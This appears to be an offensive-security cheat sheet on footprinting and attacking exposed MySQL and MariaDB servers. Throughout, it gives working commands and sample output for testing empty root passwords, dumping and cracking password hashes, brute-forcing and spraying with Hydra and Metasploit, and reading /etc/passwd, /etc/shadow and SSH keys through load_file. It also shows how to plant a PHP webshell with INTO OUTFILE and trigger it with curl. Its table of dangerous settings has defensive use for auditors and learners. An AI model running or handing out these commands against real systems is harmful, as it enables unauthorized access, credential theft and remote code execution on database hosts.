MySQL
MySQL and its fork MariaDB are the most-deployed open-source relational databases. They listen on TCP 3306 by default. When exposed to the public internet - usually by accident - the operator-relevant findings are: default/empty credentials on the root account, weak passwords on application users, and (with sufficient privileges) file read/write primitives that can be turned into RCE on the database host.
# 1. Service scannmap -sV -sC -p3306 --script mysql* <target>
# 2. Try common defaultsmysql -u root -h <target>mysql -u root -p<password> -h <target>mysql -u root -p'' -h <target>
# 3. Enumerate databases and tablesmysql> show databases;mysql> use <database>;mysql> show tables;mysql> select * from <table> limit 10;
# 4. Dump password hashesmysql> select user, host, authentication_string from mysql.user;
# 5. File read (if FILE privilege)mysql> select load_file('/etc/passwd');Success indicator: successful connection, show databases returns more than the system schemas, mysql.user query returns hashes.
Protocol overview
Section titled “Protocol overview”MySQL uses a binary client/server protocol over TCP 3306. The handshake establishes a connection, the server sends a salt, the client sends credentials hashed with the salt, the server validates against mysql.user. After auth, the client sends SQL queries as binary-framed text and the server returns result sets in a tabular binary format.
MySQL vs MariaDB
Section titled “MySQL vs MariaDB”| Aspect | MySQL | MariaDB |
|---|---|---|
| Origin | Sun → Oracle (closed-source company, open-source code) | Fork of MySQL after Oracle acquired Sun |
| Lead developer | Oracle (post-2010) | Same people who originally wrote MySQL |
| Wire protocol | Identical | Identical |
| SQL syntax | Mostly identical | Mostly identical (with some MariaDB-specific extensions) |
| Default authentication plugin | caching_sha2_password (MySQL 8+) | mysql_native_password |
| Default port | 3306 | 3306 |
For operator purposes they’re interchangeable. The mysql command-line client connects to both. Tooling like Hydra, sqlmap, and Metasploit modules work against either.
Default databases / schemas
Section titled “Default databases / schemas”Every MySQL install has these built-in databases:
| Database | Contents |
|---|---|
information_schema | Metadata about all other databases - tables, columns, privileges. Read-only. |
mysql | Server’s internal state - user accounts, password hashes, grants, replication state. |
performance_schema | Runtime performance metrics |
sys | Higher-level views into performance_schema data |
The mysql.user table is the prize - it contains username, host pattern, password hash, and granted privileges for every account.
Default configuration
Section titled “Default configuration”Linux config typically lives at /etc/mysql/mysql.conf.d/mysqld.cnf:
[client]port = 3306socket = /var/run/mysqld/mysqld.sock
[mysqld]skip-host-cacheskip-name-resolveuser = mysqlpid-file = /var/run/mysqld/mysqld.pidsocket = /var/run/mysqld/mysqld.sockport = 3306basedir = /usrdatadir = /var/lib/mysqltmpdir = /tmplc-messages-dir = /usr/share/mysqlexplicit_defaults_for_timestampsymbolic-links = 0By default, MySQL binds to 127.0.0.1 - only accepts local connections. The dangerous deviation is changing bind-address = 0.0.0.0 (or commenting it out) to allow remote connections.
Dangerous settings
Section titled “Dangerous settings”| Setting | Why it’s bad |
|---|---|
bind-address = 0.0.0.0 | Listens on all interfaces - accessible from the network/internet |
Empty password on root | Default in older MySQL installs, sometimes left as-is |
root@% (user root allowed from any host) | Root accessible from any source IP |
secure_file_priv = (empty) | LOAD_FILE / INTO OUTFILE can read/write anywhere on disk the mysql user can reach |
secure_file_priv = NULL | File operations completely disabled (good - the safe setting) |
secure_file_priv = /var/lib/mysql-files | File operations restricted to that directory (good default since MySQL 5.7) |
local_infile = 1 | LOAD DATA LOCAL INFILE can read from the client’s filesystem (relevant when you’re the server in a server-side attack) |
general_log = on + general_log_file = ... | All queries logged - if you can read the log file, all queries (and parameters) are visible |
debug set | Verbose debugging exposed |
| Unencrypted connections accepted | Credentials and query data exposed on the wire |
The big two are bind-address = 0.0.0.0 (the precondition for everything) and either empty/default root password OR weak password on a privileged account. With those, the operator gets in immediately.
secure_file_priv empty (not unset, not NULL - explicitly empty) is the setting that turns a credentialed connection into file-read/write/RCE.
Footprinting commands
Section titled “Footprinting commands”Service scan
Section titled “Service scan”sudo nmap 10.129.14.128 -sV -sC -p3306 --script mysql*PORT STATE SERVICE VERSION3306/tcp open nagios-nsca Nagios NSCA| mysql-info:| Protocol: 10| Version: 8.0.26-0ubuntu0.20.04.1| Thread ID: 13| Capabilities flags: 65535| Status: Autocommit| Salt: YTSgMfqvx\x0F\x7F\x16\&\x1EAeK>0|_ Auth Plugin Name: caching_sha2_passwordKey data points:
- Version:
8.0.26-0ubuntu0.20.04.1- exact version + distro patch level. Match to CVE database. - Auth Plugin:
caching_sha2_password(MySQL 8) vsmysql_native_password(MariaDB / older MySQL). Determines hash format and attack tooling.
Other mysql NSE scripts that can run:
mysql-brute # credential brute-forcemysql-databases # list databases (needs creds)mysql-dump-hashes # dump password hashes (needs creds with mysql.user read)mysql-empty-password # test for empty password on common accountsmysql-enum # username enumeration via auth-error timingmysql-info # banner / version (runs by default in -sV)mysql-users # list user accounts (needs creds)mysql-variables # list server variables (needs creds)mysql-vuln-cve2012-2122 # specific CVE checkWatch out for false positives on automated mysql scripts. The mysql-empty-password script sometimes claims accounts have empty passwords when they don’t - verify manually.
Connecting
Section titled “Connecting”# Empty passwordmysql -u root -h 10.129.14.128
# Explicit password (note: NO space between -p and the password)mysql -u root -pP4SSw0rd -h 10.129.14.128
# Prompt for passwordmysql -u root -p -h 10.129.14.128
# Specify database on connectmysql -u root -pP4SSw0rd -h 10.129.14.128 -D mydb
# Custom portmysql -u root -pP4SSw0rd -h 10.129.14.128 -P 33060Connection-refused responses to know:
ERROR 1045 (28000): Access denied for user 'root'@'<your-ip>' (using password: NO)# Account exists, host pattern allows your IP, but credentials wrong (or empty given when one expected)
ERROR 1130 (HY000): Host '<your-ip>' is not allowed to connect to this MySQL server# Account exists but host pattern doesn't allow your IP# Worth probing - sometimes a different source IP (VPN, hop host) works
ERROR 2003 (HY000): Can't connect to MySQL server on '<target>' (111)# Port closed or filtered
ERROR 2002 (HY000): Can't connect to local MySQL server through socket# Wrong syntax - used socket connection instead of TCP. Add -h <target>Database enumeration
Section titled “Database enumeration”mysql> show databases;+--------------------+| Database |+--------------------+| information_schema || mysql || performance_schema || sys || customer_db || billing |+--------------------+
mysql> use customer_db;Database changed
mysql> show tables;+-----------------------+| Tables_in_customer_db |+-----------------------+| customers || orders || payment_methods || sessions |+-----------------------+
mysql> show columns from customers;+----------------+--------------+------+-----+---------+----------------+| Field | Type | Null | Key | Default | Extra |+----------------+--------------+------+-----+---------+----------------+| id | int(11) | NO | PRI | NULL | auto_increment || email | varchar(255) | NO | UNI | NULL | || password_hash | varchar(255) | NO | | NULL | || name | varchar(255) | YES | | NULL | || created_at | datetime | NO | | NULL | |+----------------+--------------+------+-----+---------+----------------+
mysql> select * from customers limit 5;The information_schema route to the same info, queryable in one statement:
mysql> select table_schema, table_name, column_name from information_schema.columns where table_schema not in ('information_schema','performance_schema','sys','mysql');Search for interesting columns across the entire server:
mysql> select table_schema, table_name, column_name from information_schema.columns where column_name like '%password%' or column_name like '%token%' or column_name like '%api_key%' or column_name like '%secret%';Password hash extraction
Section titled “Password hash extraction”The mysql.user table holds the auth hashes:
mysql> use mysql;mysql> select user, host, authentication_string from user;+------------------+-----------+-------------------------------------------+| user | host | authentication_string |+------------------+-----------+-------------------------------------------+| root | localhost | $A$005$O$$<base64 hash> || root | % | $A$005$O$$<base64 hash> || app_user | % | *5D7C9CCD<...> || backup_service | 10.0.0.% | *81F5E21E<...> |+------------------+-----------+-------------------------------------------+Two hash formats:
*XXXX...(40 hex chars after the*) -mysql_native_password, SHA1(SHA1(password)). Crackable withhashcat -m 300.$A$005$...-caching_sha2_password(MySQL 8 default), SHA-256 + scrypt-like. Crackable withhashcat -m 7401(slow).
For older MySQL versions, the column might be named password instead of authentication_string.
Privilege check
Section titled “Privilege check”mysql> select current_user();mysql> show grants;mysql> show grants for 'app_user'@'%';A “all privileges with grant option” account is operationally root within the database. The FILE privilege specifically enables file read/write:
mysql> show variables like 'secure_file_priv';+------------------+-----------------------+| Variable_name | Value |+------------------+-----------------------+| secure_file_priv | NULL | -- file ops disabled (safe)| secure_file_priv | /var/lib/mysql-files/ | -- file ops sandboxed (default 5.7+)| secure_file_priv | | -- EMPTY = file ops anywhere+------------------+-----------------------+File read via LOAD_FILE
Section titled “File read via LOAD_FILE”Requires FILE privilege and secure_file_priv set to a path or empty:
mysql> select load_file('/etc/passwd');+--------------------------------------------------------------------+| load_file('/etc/passwd') |+--------------------------------------------------------------------+| root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin... |+--------------------------------------------------------------------+
mysql> select load_file('/etc/shadow');-- Empty result if mysql user can't read it (almost always)
mysql> select load_file('/root/.ssh/id_rsa');-- Empty result unless mysqld runs as root (almost never)Mysqld typically runs as the mysql Unix user - can read its own data files and world-readable files, but not /etc/shadow or other-users’ private files.
File write via INTO OUTFILE
Section titled “File write via INTO OUTFILE”Requires FILE privilege and matching secure_file_priv:
mysql> select '<?php system($_GET["cmd"]); ?>' into outfile '/var/www/html/shell.php';If the MySQL server and the web server share a host (common in LAMP setups) and the web root is writable by the mysql user, this drops a PHP shell. Hit it with:
curl 'http://target.com/shell.php?cmd=id'INTO OUTFILE will fail if the destination file already exists - there’s no overwrite. Pick a new filename per attempt.
UDF (User-Defined Function) → RCE
Section titled “UDF (User-Defined Function) → RCE”With FILE and write access to MySQL’s plugin directory, you can load a UDF that executes shell commands. This is more involved (need to compile a .so for the target architecture, write it to the right path, then CREATE FUNCTION) but is the canonical “creds on a database = RCE on the host” path. See this writeup for the full chain.
Credential brute-force
Section titled “Credential brute-force”hydra -L users.txt -P passwords.txt -t 4 mysql://<target>
# Faster, with a single password against many users (spray)hydra -L users.txt -p 'Welcome123' mysql://<target>Or Metasploit:
msf > use auxiliary/scanner/mysql/mysql_loginmsf > set RHOSTS <target>msf > set USER_FILE users.txtmsf > set PASS_FILE passwords.txtmsf > runOr sqlmap for SQL-injection-targeted MySQL backends (different attack surface - see the SQL Injection cluster).
Common chained workflows
Section titled “Common chained workflows”Default creds → mysql.user dump → cracked hashes → reuse:
mysql -u root -h target(empty password works)select * from mysql.user;→ harvest hasheshashcat -m 300→ cracked passwords- Try those passwords against other services (SSH, RDP, etc.) on the same network
Read access → app data → application-level findings:
- Connect with limited account
- Dump the application’s database
- Cracked user-password hashes give login on the application itself
- Stored data (PII, payment info) is the finding
FILE privilege → INTO OUTFILE → webshell:
- Confirm
secure_file_privempty and FILE privilege held - Identify web root path (
/var/www/html/,/usr/share/nginx/html/, etc.) - Write PHP/JSP shell, trigger via HTTP
FILE privilege → LOAD_FILE → key material:
- Read
/etc/passwdto enumerate users - Read
/var/lib/mysql/mysql.user.MYD(the raw user table - old MyISAM versions) - Read SSH public keys, web app configs, anything mysql user can read
Quick reference
Section titled “Quick reference”| Task | Command |
|---|---|
| Service scan | nmap -sV -sC -p3306 --script mysql* <target> |
| Empty-password test | mysql -u root -h <target> |
| Login (no space after -p) | mysql -u root -p<password> -h <target> |
| List databases | show databases; |
| Switch database | use <db>; |
| List tables | show tables; |
| Table columns | show columns from <table>; or describe <table>; |
| Dump hashes | select user, host, authentication_string from mysql.user; |
| Current user | select current_user(); |
| Show grants | show grants; |
| File-read setting | show variables like 'secure_file_priv'; |
| Read file | select load_file('/path/to/file'); |
| Write file | select '<content>' into outfile '/path/to/file'; |
| Brute-force | hydra -L users -P pass mysql://<target> |